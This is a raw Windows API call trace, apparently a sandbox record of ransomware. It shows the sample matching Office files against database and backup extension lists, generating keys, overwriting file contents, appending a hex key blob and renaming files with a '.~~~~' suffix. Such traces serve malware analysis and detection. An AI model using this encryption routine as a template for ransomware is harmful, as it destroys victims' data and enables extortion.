	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".dbs") returned 0x0
	[0144.416] lstrlenW (lpString=".vhdx") returned 5
	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".vhdx") returned 0x0
	[0144.416] lstrlenW (lpString=".NDF") returned 4
	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".NDF") returned 0x0
	[0144.416] lstrlenW (lpString=".dat") returned 4
	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".dat") returned 0x0
	[0144.416] lstrlenW (lpString=".DBS") returned 4
	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".DBS") returned 0x0
	[0144.416] lstrlenW (lpString=".CKP") returned 4
	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".CKP") returned 0x0
	[0144.416] lstrlenW (lpString=".edb") returned 4
	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".edb") returned 0x0
	[0144.416] lstrlenW (lpString=".PST") returned 4
	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".PST") returned 0x0
	[0144.416] lstrlenW (lpString=".dbf") returned 4
	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".dbf") returned 0x0
	[0144.416] lstrlenW (lpString=".SQL") returned 4
	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".SQL") returned 0x0
	[0144.416] lstrlenW (lpString=".pst") returned 4
	[0144.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".pst") returned 0x0
	[0144.416] lstrlenW (lpString=".dbv") returned 4
	[0144.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".dbv") returned 0x0
	[0144.417] lstrlenW (lpString=".SDF") returned 4
	[0144.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".SDF") returned 0x0
	[0144.417] lstrlenW (lpString=".dtxs") returned 5
	[0144.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".dtxs") returned 0x0
	[0144.417] lstrlenW (lpString=".db3") returned 4
	[0144.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".db3") returned 0x0
	[0144.417] lstrlenW (lpString=".OST") returned 4
	[0144.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".OST") returned 0x0
	[0144.417] lstrlenW (lpString=".dbx") returned 4
	[0144.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".dbx") returned 0x0
	[0144.417] lstrlenW (lpString=".DB3") returned 4
	[0144.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".DB3") returned 0x0
	[0144.417] lstrlenW (lpString=".DAT") returned 4
	[0144.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".DAT") returned 0x0
	[0144.417] lstrlenW (lpString=".VHDX") returned 5
	[0144.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".VHDX") returned 0x0
	[0144.417] lstrlenW (lpString=".ndf") returned 4
	[0144.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".ndf") returned 0x0
	[0144.417] lstrlenW (lpString=".DB") returned 3
	[0144.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".DB") returned 0x0
	[0144.418] lstrlenW (lpString=".sql") returned 4
	[0144.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".sql") returned 0x0
	[0144.418] lstrlenW (lpString=".MYD") returned 4
	[0144.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".MYD") returned 0x0
	[0144.418] lstrlenW (lpString=".DBT") returned 4
	[0144.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".DBT") returned 0x0
	[0144.418] lstrlenW (lpString=".ACCDB") returned 6
	[0144.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".ACCDB") returned 0x0
	[0144.418] lstrlenW (lpString=".fdb") returned 4
	[0144.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".fdb") returned 0x0
	[0144.418] lstrlenW (lpString=".bak") returned 4
	[0144.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".bak") returned 0x0
	[0144.418] lstrlenW (lpString=".myd") returned 4
	[0144.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".myd") returned 0x0
	[0144.418] lstrlenW (lpString=".DTXS") returned 5
	[0144.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".DTXS") returned 0x0
	[0144.418] lstrlenW (lpString=".ckp") returned 4
	[0144.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".ckp") returned 0x0
	[0144.419] lstrlenW (lpString=".dbt") returned 4
	[0144.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".dbt") returned 0x0
	[0144.419] lstrlenW (lpString=".db") returned 3
	[0144.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".db") returned 0x0
	[0144.419] lstrlenW (lpString=".TXT") returned 4
	[0144.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".TXT") returned 0x0
	[0144.419] lstrlenW (lpString=".MDF") returned 4
	[0144.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".MDF") returned 0x0
	[0144.419] lstrlenW (lpString=".bdb") returned 4
	[0144.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".bdb") returned 0x0
	[0144.419] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.419] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0144.421] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.421] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.421] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26441116322) returned 1
	[0144.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf7d54b0, dwHighDateTime=0x1d60e1e)) 
	[0144.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x291e228
	[0144.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x291e228 | out: hHeap=0x300000) returned 1
	[0144.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acb00
	[0144.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acb00 | out: hHeap=0x300000) returned 1
	[0144.422] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0144.422] GetLastError () returned 0x0
	[0144.423] GetLastError () returned 0x0
	[0144.423] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0144.423] GetLastError () returned 0x0
	[0144.423] GetLastError () returned 0x0
	[0144.423] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.512] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.514] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.518] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.518] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.518] CloseHandle (hObject=0x114) returned 1
	[0144.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acb00
	[0144.549] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll.~~~~")) returned 1
	[0144.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acb00 | out: hHeap=0x300000) returned 1
	[0144.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.590] GetLastError () returned 0x0
	[0144.590] RtlWakeConditionVariable () returned 0x0
	[0144.591] GetCurrentThreadId () returned 0x9cc
	[0144.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".scr") returned 0x0
	[0144.591] lstrlenW (lpString=".cmd") returned 4
	[0144.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".cmd") returned 0x0
	[0144.591] lstrlenW (lpString=".dll") returned 4
	[0144.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".dll") returned 0x0
	[0144.591] lstrlenW (lpString=".bat") returned 4
	[0144.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".bat") returned 0x0
	[0144.591] lstrlenW (lpString=".cpl") returned 4
	[0144.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".cpl") returned 0x0
	[0144.591] lstrlenW (lpString=".sys") returned 4
	[0144.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".sys") returned 0x0
	[0144.591] lstrlenW (lpString=".msc") returned 4
	[0144.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".msc") returned 0x0
	[0144.591] lstrlenW (lpString=".com") returned 4
	[0144.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".com") returned 0x0
	[0144.591] lstrlenW (lpString=".lnk") returned 4
	[0144.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".lnk") returned 0x0
	[0144.591] lstrlenW (lpString=".msp") returned 4
	[0144.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".msp") returned 0x0
	[0144.591] lstrlenW (lpString=".pif") returned 4
	[0144.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".pif") returned 0x0
	[0144.591] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0144.594] lstrlenW (lpString=".sqb") returned 4
	[0144.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".sqb") returned 0x0
	[0144.594] lstrlenW (lpString=".ost") returned 4
	[0144.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".ost") returned 0x0
	[0144.594] lstrlenW (lpString=".txt") returned 4
	[0144.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".txt") returned 0x0
	[0144.594] lstrlenW (lpString=".mdt") returned 4
	[0144.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".mdt") returned 0x0
	[0144.594] lstrlenW (lpString=".BDB") returned 4
	[0144.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".BDB") returned 0x0
	[0144.594] lstrlenW (lpString=".eql") returned 4
	[0144.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".eql") returned 0x0
	[0144.594] lstrlenW (lpString=".DBF") returned 4
	[0144.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".DBF") returned 0x0
	[0144.594] lstrlenW (lpString=".EQL") returned 4
	[0144.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".EQL") returned 0x0
	[0144.594] lstrlenW (lpString=".FDB") returned 4
	[0144.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".FDB") returned 0x0
	[0144.594] lstrlenW (lpString=".EDB") returned 4
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".EDB") returned 0x0
	[0144.595] lstrlenW (lpString=".DACPAC") returned 7
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".DACPAC") returned 0x0
	[0144.595] lstrlenW (lpString=".VHD") returned 4
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".VHD") returned 0x0
	[0144.595] lstrlenW (lpString=".DBV") returned 4
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".DBV") returned 0x0
	[0144.595] lstrlenW (lpString=".dacpac") returned 7
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".dacpac") returned 0x0
	[0144.595] lstrlenW (lpString=".sdf") returned 4
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".sdf") returned 0x0
	[0144.595] lstrlenW (lpString=".accdb") returned 6
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".accdb") returned 0x0
	[0144.595] lstrlenW (lpString=".DBX") returned 4
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".DBX") returned 0x0
	[0144.595] lstrlenW (lpString=".MDT") returned 4
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".MDT") returned 0x0
	[0144.595] lstrlenW (lpString=".SQB") returned 4
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".SQB") returned 0x0
	[0144.595] lstrlenW (lpString=".vhd") returned 4
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".vhd") returned 0x0
	[0144.595] lstrlenW (lpString=".bac") returned 4
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".bac") returned 0x0
	[0144.595] lstrlenW (lpString=".mdf") returned 4
	[0144.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".mdf") returned 0x0
	[0144.596] lstrlenW (lpString=".BAK") returned 4
	[0144.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".BAK") returned 0x0
	[0144.596] lstrlenW (lpString=".BAC") returned 4
	[0144.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".BAC") returned 0x0
	[0144.596] lstrlenW (lpString=".dbs") returned 4
	[0144.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".dbs") returned 0x0
	[0144.596] lstrlenW (lpString=".vhdx") returned 5
	[0144.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".vhdx") returned 0x0
	[0144.596] lstrlenW (lpString=".NDF") returned 4
	[0144.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".NDF") returned 0x0
	[0144.596] lstrlenW (lpString=".dat") returned 4
	[0144.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".dat") returned 0x0
	[0144.596] lstrlenW (lpString=".DBS") returned 4
	[0144.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".DBS") returned 0x0
	[0144.596] lstrlenW (lpString=".CKP") returned 4
	[0144.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".CKP") returned 0x0
	[0144.596] lstrlenW (lpString=".edb") returned 4
	[0144.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".edb") returned 0x0
	[0144.596] lstrlenW (lpString=".PST") returned 4
	[0144.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".PST") returned 0x0
	[0144.596] lstrlenW (lpString=".dbf") returned 4
	[0144.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".dbf") returned 0x0
	[0144.596] lstrlenW (lpString=".SQL") returned 4
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".SQL") returned 0x0
	[0144.597] lstrlenW (lpString=".pst") returned 4
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".pst") returned 0x0
	[0144.597] lstrlenW (lpString=".dbv") returned 4
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".dbv") returned 0x0
	[0144.597] lstrlenW (lpString=".SDF") returned 4
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".SDF") returned 0x0
	[0144.597] lstrlenW (lpString=".dtxs") returned 5
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".dtxs") returned 0x0
	[0144.597] lstrlenW (lpString=".db3") returned 4
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".db3") returned 0x0
	[0144.597] lstrlenW (lpString=".OST") returned 4
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".OST") returned 0x0
	[0144.597] lstrlenW (lpString=".dbx") returned 4
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".dbx") returned 0x0
	[0144.597] lstrlenW (lpString=".DB3") returned 4
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".DB3") returned 0x0
	[0144.597] lstrlenW (lpString=".DAT") returned 4
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".DAT") returned 0x0
	[0144.597] lstrlenW (lpString=".VHDX") returned 5
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".VHDX") returned 0x0
	[0144.597] lstrlenW (lpString=".ndf") returned 4
	[0144.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".ndf") returned 0x0
	[0144.597] lstrlenW (lpString=".DB") returned 3
	[0144.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".DB") returned 0x0
	[0144.598] lstrlenW (lpString=".sql") returned 4
	[0144.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".sql") returned 0x0
	[0144.598] lstrlenW (lpString=".MYD") returned 4
	[0144.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".MYD") returned 0x0
	[0144.598] lstrlenW (lpString=".DBT") returned 4
	[0144.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".DBT") returned 0x0
	[0144.598] lstrlenW (lpString=".ACCDB") returned 6
	[0144.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".ACCDB") returned 0x0
	[0144.598] lstrlenW (lpString=".fdb") returned 4
	[0144.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".fdb") returned 0x0
	[0144.598] lstrlenW (lpString=".bak") returned 4
	[0144.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".bak") returned 0x0
